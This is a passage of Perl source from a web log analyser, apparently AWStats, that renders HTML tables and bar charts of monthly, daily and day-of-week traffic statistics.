print "<td> <br /> </td>\n";
if ( $ShowSummary =~ /H/i ) {
print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>";
}
else { print "<td> </td>"; }
if ( $ShowSummary =~ /B/i ) {
print "<td><b>"
. Format_Bytes( int($TotalNotViewedBytes) )
. "</b></td>";
}
else { print "<td> </td>"; }
}
else {
if ( $LogType eq 'W' || $LogType eq 'S' ) {
print "<td class=\"aws\">$Message[161] *</td>";
}
print "<td colspan=\"2\"> <br /> </td>\n";
if ( $ShowSummary =~ /P/i ) {
print "<td><b>".Format_Number($TotalNotViewedPages)."</b></td>";
}
else { print "<td> </td>"; }
if ( $ShowSummary =~ /H/i ) {
print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>";
}
else { print "<td> </td>"; }
if ( $ShowSummary =~ /B/i ) {
print "<td><b>"
. Format_Bytes( int($TotalNotViewedBytes) )
. "</b></td>";
}
else { print "<td> </td>"; }
}
print "</tr>\n";
}
&tab_end($LogType eq 'W'
|| $LogType eq 'S' ? "* $Message[159]" : "" );
}
#------------------------------------------------------------------------------
# Function: Prints the Monthly section on the main page
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainMonthly{
if ($Debug) { debug( "ShowMonthStats", 2 ); }
print "$Center<a name=\"month\"> </a><br />\n";
my $title = "$Message[162]";
&tab_head( "$title", 0, 0, 'month' );
print "<tr><td align=\"center\">\n";
print "<center>\n";
my $average_nb = my $average_u = my $average_v = my $average_p = 0;
my $average_h = my $average_k = 0;
my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
my $max_v = my $max_p = my $max_h = my $max_k = 1;
# Define total and max
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
my $monthix = sprintf( "%02s", $ix );
$total_u += $MonthUnique{ $YearRequired . $monthix } || 0;
$total_v += $MonthVisits{ $YearRequired . $monthix } || 0;
$total_p += $MonthPages{ $YearRequired . $monthix } || 0;
$total_h += $MonthHits{ $YearRequired . $monthix } || 0;
$total_k += $MonthBytes{ $YearRequired . $monthix } || 0;
#if (($MonthUnique{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthUnique{$YearRequired.$monthix}; }
if (
( $MonthVisits{ $YearRequired . $monthix } || 0 ) > $max_v )
{
$max_v = $MonthVisits{ $YearRequired . $monthix };
}
#if (($MonthPages{$YearRequired.$monthix}||0) > $max_p) { $max_p=$MonthPages{$YearRequired.$monthix}; }
if ( ( $MonthHits{ $YearRequired . $monthix } || 0 ) > $max_h )
{
$max_h = $MonthHits{ $YearRequired . $monthix };
}
if ( ( $MonthBytes{ $YearRequired . $monthix } || 0 ) > $max_k )
{
$max_k = $MonthBytes{ $YearRequired . $monthix };
}
}
# Define average
# TODO
# Show bars for month
my $graphdone=0;
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ();
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
my $monthix = sprintf( "%02s", $ix );
push @blocklabel,
"$MonthNumLib{$monthix}\n$YearRequired";
}
my @vallabel = (
"$Message[11]", "$Message[10]",
"$Message[56]", "$Message[57]",
"$Message[75]"
);
my @valcolor =
( "$color_u", "$color_v", "$color_p", "$color_h",
"$color_k" );
my @valmax = ( $max_v, $max_v, $max_h, $max_h, $max_k );
my @valtotal =
( $total_u, $total_v, $total_p, $total_h, $total_k );
my @valaverage = ();
#my @valaverage=($average_v,$average_p,$average_h,$average_k);
my @valdata = ();
my $xx = 0;
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
my $monthix = sprintf( "%02s", $ix );
$valdata[ $xx++ ] = $MonthUnique{ $YearRequired . $monthix }
|| 0;
$valdata[ $xx++ ] = $MonthVisits{ $YearRequired . $monthix }
|| 0;
$valdata[ $xx++ ] = $MonthPages{ $YearRequired . $monthix }
|| 0;
$valdata[ $xx++ ] = $MonthHits{ $YearRequired . $monthix }
|| 0;
$valdata[ $xx++ ] = $MonthBytes{ $YearRequired . $monthix }
|| 0;
}
my $function = "ShowGraph_$pluginname";
&$function(
"$title", "month",
$ShowMonthStats, \@blocklabel,
\@vallabel, \@valcolor,
\@valmax, \@valtotal,
\@valaverage, \@valdata
);
$graphdone=1;
}
if (! $graphdone)
{
print "<table>\n";
print "<tr valign=\"bottom\">";
print "<td> </td>\n";
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
my $monthix = sprintf( "%02s", $ix );
my $bredde_u = 0;
my $bredde_v = 0;
my $bredde_p = 0;
my $bredde_h = 0;
my $bredde_k = 0;
if ( $max_v > 0 ) {
$bredde_u =
int(
( $MonthUnique{ $YearRequired . $monthix } || 0 ) /
$max_v * $BarHeight ) + 1;
}
if ( $max_v > 0 ) {
$bredde_v =
int(
( $MonthVisits{ $YearRequired . $monthix } || 0 ) /
$max_v * $BarHeight ) + 1;
}
if ( $max_h > 0 ) {
$bredde_p =
int(
( $MonthPages{ $YearRequired . $monthix } || 0 ) /
$max_h * $BarHeight ) + 1;
}
if ( $max_h > 0 ) {
$bredde_h =
int( ( $MonthHits{ $YearRequired . $monthix } || 0 ) /
$max_h * $BarHeight ) + 1;
}
if ( $max_k > 0 ) {
$bredde_k =
int(
( $MonthBytes{ $YearRequired . $monthix } || 0 ) /
$max_k * $BarHeight ) + 1;
}
print "<td>";
if ( $ShowMonthStats =~ /U/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vu'}\" height=\"$bredde_u\" width=\"6\""
. AltTitle( "$Message[11]: "
. ( $MonthUnique{ $YearRequired . $monthix }
|| 0 ) )
. " />";
}
if ( $ShowMonthStats =~ /V/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"6\""
. AltTitle( "$Message[10]: "
. ( $MonthVisits{ $YearRequired . $monthix }
|| 0 ) )
. " />";
}
if ( $ShowMonthStats =~ /P/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
. AltTitle( "$Message[56]: "
. ( $MonthPages{ $YearRequired . $monthix } || 0 )
)
. " />";
}
if ( $ShowMonthStats =~ /H/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
. AltTitle( "$Message[57]: "
. ( $MonthHits{ $YearRequired . $monthix } || 0 )
)
. " />";
}
if ( $ShowMonthStats =~ /B/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
. AltTitle(
"$Message[75]: "
. Format_Bytes(
$MonthBytes{ $YearRequired . $monthix }
)
)
. " />";
}
print "</td>\n";
}
print "<td> </td>";
print "</tr>\n";
# Show lib for month
print "<tr valign=\"middle\">";
#if (!$StaticLinks) {
# print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=12&year=".($YearRequired-1))."\"><<</a></td>";
#}
#else {
print "<td> </td>";
# }
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
my $monthix = sprintf( "%02s", $ix );
# if (!$StaticLinks) {
# print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=$monthix&year=$YearRequired")."\">$MonthNumLib{$monthix}<br />$YearRequired</a></td>";
# }
# else {
print "<td>"
. (
!$StaticLinks
&& $monthix == $nowmonth
&& $YearRequired == $nowyear
? '<span class="currentday">'
: ''
);
print "$MonthNumLib{$monthix}<br />$YearRequired";
print( !$StaticLinks
&& $monthix == $nowmonth
&& $YearRequired == $nowyear ? '</span>' : '' );
print "</td>";
# }
}
# if (!$StaticLinks) {
# print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=1&year=".($YearRequired+1))."\">>></a></td>";
# }
# else {
print "<td> </td>";
# }
print "</tr>\n";
print "</table>\n";
}
print "<br />\n";
# Show data array for month
if ($AddDataArrayMonthStats) {
print "<table>\n";
print
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[5]</td>";
if ( $ShowMonthStats =~ /U/i ) {
print "<td width=\"80\" bgcolor=\"#$color_u\""
. Tooltip(2)
. ">$Message[11]</td>";
}
if ( $ShowMonthStats =~ /V/i ) {
print "<td width=\"80\" bgcolor=\"#$color_v\""
. Tooltip(1)
. ">$Message[10]</td>";
}
if ( $ShowMonthStats =~ /P/i ) {
print "<td width=\"80\" bgcolor=\"#$color_p\""
. Tooltip(3)
. ">$Message[56]</td>";
}
if ( $ShowMonthStats =~ /H/i ) {
print "<td width=\"80\" bgcolor=\"#$color_h\""
. Tooltip(4)
. ">$Message[57]</td>";
}
if ( $ShowMonthStats =~ /B/i ) {
print "<td width=\"80\" bgcolor=\"#$color_k\""
. Tooltip(5)
. ">$Message[75]</td>";
}
print "</tr>\n";
for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
my $monthix = sprintf( "%02s", $ix );
print "<tr>";
print "<td>"
. (
!$StaticLinks
&& $monthix == $nowmonth
&& $YearRequired == $nowyear
? '<span class="currentday">'
: ''
);
print "$MonthNumLib{$monthix} $YearRequired";
print( !$StaticLinks
&& $monthix == $nowmonth
&& $YearRequired == $nowyear ? '</span>' : '' );
print "</td>";
if ( $ShowMonthStats =~ /U/i ) {
print "<td>",
Format_Number($MonthUnique{ $YearRequired . $monthix }
? $MonthUnique{ $YearRequired . $monthix }
: "0"), "</td>";
}
if ( $ShowMonthStats =~ /V/i ) {
print "<td>",
Format_Number($MonthVisits{ $YearRequired . $monthix }
? $MonthVisits{ $YearRequired . $monthix }
: "0"), "</td>";
}
if ( $ShowMonthStats =~ /P/i ) {
print "<td>",
Format_Number($MonthPages{ $YearRequired . $monthix }
? $MonthPages{ $YearRequired . $monthix }
: "0"), "</td>";
}
if ( $ShowMonthStats =~ /H/i ) {
print "<td>",
Format_Number($MonthHits{ $YearRequired . $monthix }
? $MonthHits{ $YearRequired . $monthix }
: "0"), "</td>";
}
if ( $ShowMonthStats =~ /B/i ) {
print "<td>",
Format_Bytes(
int( $MonthBytes{ $YearRequired . $monthix } || 0 )
), "</td>";
}
print "</tr>\n";
}
# Average row
# TODO
# Total row
print
"<tr><td bgcolor=\"#$color_TableBGRowTitle\">$Message[102]</td>";
if ( $ShowMonthStats =~ /U/i ) {
print
"<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_u)."</td>";
}
if ( $ShowMonthStats =~ /V/i ) {
print
"<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_v)."</td>";
}
if ( $ShowMonthStats =~ /P/i ) {
print
"<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_p)."</td>";
}
if ( $ShowMonthStats =~ /H/i ) {
print
"<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_h)."</td>";
}
if ( $ShowMonthStats =~ /B/i ) {
print "<td bgcolor=\"#$color_TableBGRowTitle\">"
. Format_Bytes($total_k) . "</td>";
}
print "</tr>\n";
print "</table>\n<br />\n";
}
print "</center>\n";
print "</td></tr>\n";
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the Daily section on the main page
# Parameters: $firstdaytocountaverage, $lastdaytocountaverage
# $firstdaytoshowtime, $lastdaytoshowtime
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainDaily{
my $firstdaytocountaverage = shift;
my $lastdaytocountaverage = shift;
my $firstdaytoshowtime = shift;
my $lastdaytoshowtime = shift;
if ($Debug) { debug( "ShowDaysOfMonthStats", 2 ); }
print "$Center<a name=\"daysofmonth\"> </a><br />\n";
my $NewLinkParams = ${QueryString};
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)year=[^&]*//i;
$NewLinkParams =~ s/(^|&|&)month=[^&]*//i;
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
$NewLinkParams =~ s/(&|&)+/&/i;
$NewLinkParams =~ s/^&//;
$NewLinkParams =~ s/&$//;
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
my $NewLinkTarget = '';
if ( $FrameName eq 'mainright' ) {
$NewLinkTarget = " target=\"_parent\"";
}
my $title = "$Message[138]";
if ($AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"".(XMLEncode(
"$AddLinkToExternalCGIWrapper". "?section=DAY&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 0, 0, 'daysofmonth' );
print "<tr>";
print "<td align=\"center\">\n";
print "<center>\n";
my $average_v = my $average_p = 0;
my $average_h = my $average_k = 0;
my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
my $max_v = my $max_h = my $max_k = 0; # Start from 0 because can be lower than 1
foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
{
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
my $year = $1;
my $month = $2;
my $day = $3;
if ( !DateIsValid( $day, $month, $year ) ) {
next;
} # If not an existing day, go to next
$total_v += $DayVisits{ $year . $month . $day } || 0;
$total_p += $DayPages{ $year . $month . $day } || 0;
$total_h += $DayHits{ $year . $month . $day } || 0;
$total_k += $DayBytes{ $year . $month . $day } || 0;
if ( ( $DayVisits{ $year . $month . $day } || 0 ) > $max_v ) {
$max_v = $DayVisits{ $year . $month . $day };
}
#if (($DayPages{$year.$month.$day}||0) > $max_p) { $max_p=$DayPages{$year.$month.$day}; }
if ( ( $DayHits{ $year . $month . $day } || 0 ) > $max_h ) {
$max_h = $DayHits{ $year . $month . $day };
}
if ( ( $DayBytes{ $year . $month . $day } || 0 ) > $max_k ) {
$max_k = $DayBytes{ $year . $month . $day };
}
}
$average_v = sprintf( "%.2f", $AverageVisits );
$average_p = sprintf( "%.2f", $AveragePages );
$average_h = sprintf( "%.2f", $AverageHits );
$average_k = sprintf( "%.2f", $AverageBytes );
# Show bars for day
my $graphdone=0;
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ();
foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
{
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
my $year = $1;
my $month = $2;
my $day = $3;
if ( !DateIsValid( $day, $month, $year ) ) {
next;
} # If not an existing day, go to next
my $bold =
( $day == $nowday
&& $month == $nowmonth
&& $year == $nowyear ? ':' : '' );
my $weekend =
( DayOfWeek( $day, $month, $year ) =~ /[06]/ ? '!' : '' );
push @blocklabel,
"$day\n$MonthNumLib{$month}$weekend$bold";
}
my @vallabel = (
"$Message[10]", "$Message[56]",
"$Message[57]", "$Message[75]"
);
my @valcolor =
( "$color_v", "$color_p", "$color_h", "$color_k" );
my @valmax = ( $max_v, $max_h, $max_h, $max_k );
my @valtotal = ( $total_v, $total_p, $total_h, $total_k );
my @valaverage =
( $average_v, $average_p, $average_h, $average_k );
my @valdata = ();
my $xx = 0;
foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
{
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
my $year = $1;
my $month = $2;
my $day = $3;
if ( !DateIsValid( $day, $month, $year ) ) {
next;
} # If not an existing day, go to next
$valdata[ $xx++ ] = $DayVisits{ $year . $month . $day }
|| 0;
$valdata[ $xx++ ] = $DayPages{ $year . $month . $day } || 0;
$valdata[ $xx++ ] = $DayHits{ $year . $month . $day } || 0;
$valdata[ $xx++ ] = $DayBytes{ $year . $month . $day } || 0;
}
my $function = "ShowGraph_$pluginname";
&$function(
"$title", "daysofmonth",
$ShowDaysOfMonthStats, \@blocklabel,
\@vallabel, \@valcolor,
\@valmax, \@valtotal,
\@valaverage, \@valdata
);
$graphdone=1;
}
# If graph was not printed by a plugin
if (! $graphdone) {
print "<table>\n";
print "<tr valign=\"bottom\">\n";
foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
{
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
my $year = $1;
my $month = $2;
my $day = $3;
if ( !DateIsValid( $day, $month, $year ) ) {
next;
} # If not an existing day, go to next
my $bredde_v = 0;
my $bredde_p = 0;
my $bredde_h = 0;
my $bredde_k = 0;
if ( $max_v > 0 ) {
$bredde_v =
int( ( $DayVisits{ $year . $month . $day } || 0 ) /
$max_v * $BarHeight ) + 1;
}
if ( $max_h > 0 ) {
$bredde_p =
int( ( $DayPages{ $year . $month . $day } || 0 ) /
$max_h * $BarHeight ) + 1;
}
if ( $max_h > 0 ) {
$bredde_h =
int( ( $DayHits{ $year . $month . $day } || 0 ) /
$max_h * $BarHeight ) + 1;
}
if ( $max_k > 0 ) {
$bredde_k =
int( ( $DayBytes{ $year . $month . $day } || 0 ) /
$max_k * $BarHeight ) + 1;
}
print "<td>";
if ( $ShowDaysOfMonthStats =~ /V/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
. AltTitle( "$Message[10]: "
. int( $DayVisits{ $year . $month . $day } || 0 )
)
. " />";
}
if ( $ShowDaysOfMonthStats =~ /P/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
. AltTitle( "$Message[56]: "
. int( $DayPages{ $year . $month . $day } || 0 ) )
. " />";
}
if ( $ShowDaysOfMonthStats =~ /H/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
. AltTitle( "$Message[57]: "
. int( $DayHits{ $year . $month . $day } || 0 ) )
. " />";
}
if ( $ShowDaysOfMonthStats =~ /B/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
. AltTitle(
"$Message[75]: "
. Format_Bytes(
$DayBytes{ $year . $month . $day }
)
)
. " />";
}
print "</td>\n";
}
print "<td> </td>";
# Show average value bars
print "<td>";
my $bredde_v = 0;
my $bredde_p = 0;
my $bredde_h = 0;
my $bredde_k = 0;
if ( $max_v > 0 ) {
$bredde_v = int( $average_v / $max_v * $BarHeight ) + 1;
}
if ( $max_h > 0 ) {
$bredde_p = int( $average_p / $max_h * $BarHeight ) + 1;
}
if ( $max_h > 0 ) {
$bredde_h = int( $average_h / $max_h * $BarHeight ) + 1;
}
if ( $max_k > 0 ) {
$bredde_k = int( $average_k / $max_k * $BarHeight ) + 1;
}
$average_v = sprintf( "%.2f", $average_v );
$average_p = sprintf( "%.2f", $average_p );
$average_h = sprintf( "%.2f", $average_h );
$average_k = sprintf( "%.2f", $average_k );
if ( $ShowDaysOfMonthStats =~ /V/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
. AltTitle("$Message[10]: $average_v") . " />";
}
if ( $ShowDaysOfMonthStats =~ /P/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
. AltTitle("$Message[56]: $average_p") . " />";
}
if ( $ShowDaysOfMonthStats =~ /H/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
. AltTitle("$Message[57]: $average_h") . " />";
}
if ( $ShowDaysOfMonthStats =~ /B/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
. AltTitle("$Message[75]: $average_k") . " />";
}
print "</td>\n";
print "</tr>\n";
# Show lib for day
print "<tr valign=\"middle\">";
foreach
my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
{
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
my $year = $1;
my $month = $2;
my $day = $3;
if ( !DateIsValid( $day, $month, $year ) ) {
next;
} # If not an existing day, go to next
my $dayofweekcursor = DayOfWeek( $day, $month, $year );
print "<td"
. (
$dayofweekcursor =~ /[06]/
? " bgcolor=\"#$color_weekend\""
: ""
)
. ">";
print(
!$StaticLinks
&& $day == $nowday
&& $month == $nowmonth
&& $year == $nowyear
? '<span class="currentday">'
: ''
);
print "$day<br /><span style=\"font-size: "
. ( $FrameName ne 'mainright'
&& $QueryString !~ /buildpdf/i ? "9" : "8" )
. "px;\">"
. $MonthNumLib{$month}
. "</span>";
print( !$StaticLinks
&& $day == $nowday
&& $month == $nowmonth
&& $year == $nowyear ? '</span>' : '' );
print "</td>\n";
}
print "<td> </td>";
print "<td valign=\"middle\""
. Tooltip(18)
. ">$Message[96]</td>\n";
print "</tr>\n";
print "</table>\n";
}
print "<br />\n";
# Show data array for days
if ($AddDataArrayShowDaysOfMonthStats) {
print "<table>\n";
print
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
if ( $ShowDaysOfMonthStats =~ /V/i ) {
print "<td width=\"80\" bgcolor=\"#$color_v\""
. Tooltip(1)
. ">$Message[10]</td>";
}
if ( $ShowDaysOfMonthStats =~ /P/i ) {
print "<td width=\"80\" bgcolor=\"#$color_p\""
. Tooltip(3)
. ">$Message[56]</td>";
}
if ( $ShowDaysOfMonthStats =~ /H/i ) {
print "<td width=\"80\" bgcolor=\"#$color_h\""
. Tooltip(4)
. ">$Message[57]</td>";
}
if ( $ShowDaysOfMonthStats =~ /B/i ) {
print "<td width=\"80\" bgcolor=\"#$color_k\""
. Tooltip(5)
. ">$Message[75]</td>";
}
print "</tr>";
foreach
my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
{
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
my $year = $1;
my $month = $2;
my $day = $3;
if ( !DateIsValid( $day, $month, $year ) ) {
next;
} # If not an existing day, go to next
my $dayofweekcursor = DayOfWeek( $day, $month, $year );
print "<tr"
. (
$dayofweekcursor =~ /[06]/
? " bgcolor=\"#$color_weekend\""
: ""
)
. ">";
print "<td>"
. (
!$StaticLinks
&& $day == $nowday
&& $month == $nowmonth
&& $year == $nowyear
? '<span class="currentday">'
: ''
);
print Format_Date( "$year$month$day" . "000000", 2 );
print( !$StaticLinks
&& $day == $nowday
&& $month == $nowmonth
&& $year == $nowyear ? '</span>' : '' );
print "</td>";
if ( $ShowDaysOfMonthStats =~ /V/i ) {
print "<td>",
Format_Number($DayVisits{ $year . $month . $day }
? $DayVisits{ $year . $month . $day }
: "0"), "</td>";
}
if ( $ShowDaysOfMonthStats =~ /P/i ) {
print "<td>",
Format_Number($DayPages{ $year . $month . $day }
? $DayPages{ $year . $month . $day }
: "0"), "</td>";
}
if ( $ShowDaysOfMonthStats =~ /H/i ) {
print "<td>",
Format_Number($DayHits{ $year . $month . $day }
? $DayHits{ $year . $month . $day }
: "0"), "</td>";
}
if ( $ShowDaysOfMonthStats =~ /B/i ) {
print "<td>",
Format_Bytes(
int( $DayBytes{ $year . $month . $day } || 0 ) ),
"</td>";
}
print "</tr>\n";
}
# Average row
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[96]</td>";
if ( $ShowDaysOfMonthStats =~ /V/i ) {
print "<td>".Format_Number(int($average_v))."</td>";
}
if ( $ShowDaysOfMonthStats =~ /P/i ) {
print "<td>".Format_Number(int($average_p))."</td>";
}
if ( $ShowDaysOfMonthStats =~ /H/i ) {
print "<td>".Format_Number(int($average_h))."</td>";
}
if ( $ShowDaysOfMonthStats =~ /B/i ) {
print "<td>".Format_Bytes(int($average_k))."</td>";
}
print "</tr>\n";
# Total row
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[102]</td>";
if ( $ShowDaysOfMonthStats =~ /V/i ) {
print "<td>".Format_Number($total_v)."</td>";
}
if ( $ShowDaysOfMonthStats =~ /P/i ) {
print "<td>".Format_Number($total_p)."</td>";
}
if ( $ShowDaysOfMonthStats =~ /H/i ) {
print "<td>".Format_Number($total_h)."</td>";
}
if ( $ShowDaysOfMonthStats =~ /B/i ) {
print "<td>" . Format_Bytes($total_k) . "</td>";
}
print "</tr>\n";
print "</table>\n<br />";
}
print "</center>\n";
print "</td></tr>\n";
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the Days of the Week section on the main page
# Parameters: $firstdaytocountaverage, $lastdaytocountaverage
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainDaysofWeek{
my $firstdaytocountaverage = shift;
my $lastdaytocountaverage = shift;
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowDaysOfWeekStats", 2 ); }
print "$Center<a name=\"daysofweek\"> </a><br />\n";
my $title = "$Message[91]";
&tab_head( "$title", 18, 0, 'daysofweek' );
print "<tr>";
print "<td align=\"center\">";
print "<center>\n";
my $max_h = my $max_k = 0; # Start from 0 because can be lower than 1
# Get average value for day of week
my @avg_dayofweek_nb = ();
my @avg_dayofweek_p = ();
my @avg_dayofweek_h = ();
my @avg_dayofweek_k = ();
foreach my $daycursor (
$firstdaytocountaverage .. $lastdaytocountaverage )
{
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
my $year = $1;
my $month = $2;
my $day = $3;
if ( !DateIsValid( $day, $month, $year ) ) {
next;
} # If not an existing day, go to next
my $dayofweekcursor = DayOfWeek( $day, $month, $year );
$avg_dayofweek_nb[$dayofweekcursor]
++; # Increase number of day used to count for this day of week
$avg_dayofweek_p[$dayofweekcursor] +=
( $DayPages{$daycursor} || 0 );
$avg_dayofweek_h[$dayofweekcursor] +=
( $DayHits{$daycursor} || 0 );
$avg_dayofweek_k[$dayofweekcursor] +=
( $DayBytes{$daycursor} || 0 );
}
for (@DOWIndex) {
if ( $avg_dayofweek_nb[$_] ) {
$avg_dayofweek_p[$_] =
$avg_dayofweek_p[$_] / $avg_dayofweek_nb[$_];
$avg_dayofweek_h[$_] =
$avg_dayofweek_h[$_] / $avg_dayofweek_nb[$_];
$avg_dayofweek_k[$_] =
$avg_dayofweek_k[$_] / $avg_dayofweek_nb[$_];
#if ($avg_dayofweek_p[$_] > $max_p) { $max_p = $avg_dayofweek_p[$_]; }
if ( $avg_dayofweek_h[$_] > $max_h ) {
$max_h = $avg_dayofweek_h[$_];
}
if ( $avg_dayofweek_k[$_] > $max_k ) {
$max_k = $avg_dayofweek_k[$_];
}
}
else {
$avg_dayofweek_p[$_] = "?";
$avg_dayofweek_h[$_] = "?";
$avg_dayofweek_k[$_] = "?";
}
}
# Show bars for days of week
my $graphdone=0;
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ();
for (@DOWIndex) {
push @blocklabel,
( $Message[ $_ + 84 ] . ( $_ =~ /[06]/ ? "!" : "" ) );
}
my @vallabel =
( "$Message[56]", "$Message[57]", "$Message[75]" );
my @valcolor = ( "$color_p", "$color_h", "$color_k" );
my @valmax = ( int($max_h), int($max_h), int($max_k) );
my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes );
# TEMP
my $average_p = my $average_h = my $average_k = 0;
$average_p = sprintf( "%.2f", $AveragePages );
$average_h = sprintf( "%.2f", $AverageHits );
$average_k = (
int($average_k)
? Format_Bytes( sprintf( "%.2f", $AverageBytes ) )
: "0.00"
);
my @valaverage = ( $average_p, $average_h, $average_k );
my @valdata = ();
my $xx = 0;
for (@DOWIndex) {
$valdata[ $xx++ ] = $avg_dayofweek_p[$_] || 0;
$valdata[ $xx++ ] = $avg_dayofweek_h[$_] || 0;
$valdata[ $xx++ ] = $avg_dayofweek_k[$_] || 0;
# Round to be ready to show array
$avg_dayofweek_p[$_] =
sprintf( "%.2f", $avg_dayofweek_p[$_] );
$avg_dayofweek_h[$_] =
sprintf( "%.2f", $avg_dayofweek_h[$_] );
$avg_dayofweek_k[$_] =
sprintf( "%.2f", $avg_dayofweek_k[$_] );
# Remove decimal part that are .0
if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
$avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
}
if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
$avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
}
}
my $function = "ShowGraph_$pluginname";
&$function(
"$title", "daysofweek",
$ShowDaysOfWeekStats, \@blocklabel,
\@vallabel, \@valcolor,
\@valmax, \@valtotal,
\@valaverage, \@valdata
);
$graphdone=1;
}
if (! $graphdone)
{
print "<table>\n";
print "<tr valign=\"bottom\">\n";
for (@DOWIndex) {
my $bredde_p = 0;
my $bredde_h = 0;
my $bredde_k = 0;
if ( $max_h > 0 ) {
$bredde_p = int(
(
$avg_dayofweek_p[$_] ne '?'
? $avg_dayofweek_p[$_]
: 0
) / $max_h * $BarHeight
) + 1;
}
if ( $max_h > 0 ) {
$bredde_h = int(
(
$avg_dayofweek_h[$_] ne '?'
? $avg_dayofweek_h[$_]
: 0
) / $max_h * $BarHeight
) + 1;
}
if ( $max_k > 0 ) {
$bredde_k = int(
(
$avg_dayofweek_k[$_] ne '?'
? $avg_dayofweek_k[$_]
: 0
) / $max_k * $BarHeight
) + 1;
}
$avg_dayofweek_p[$_] = sprintf(
"%.2f",
(
$avg_dayofweek_p[$_] ne '?'
? $avg_dayofweek_p[$_]
: 0
)
);
$avg_dayofweek_h[$_] = sprintf(
"%.2f",
(
$avg_dayofweek_h[$_] ne '?'
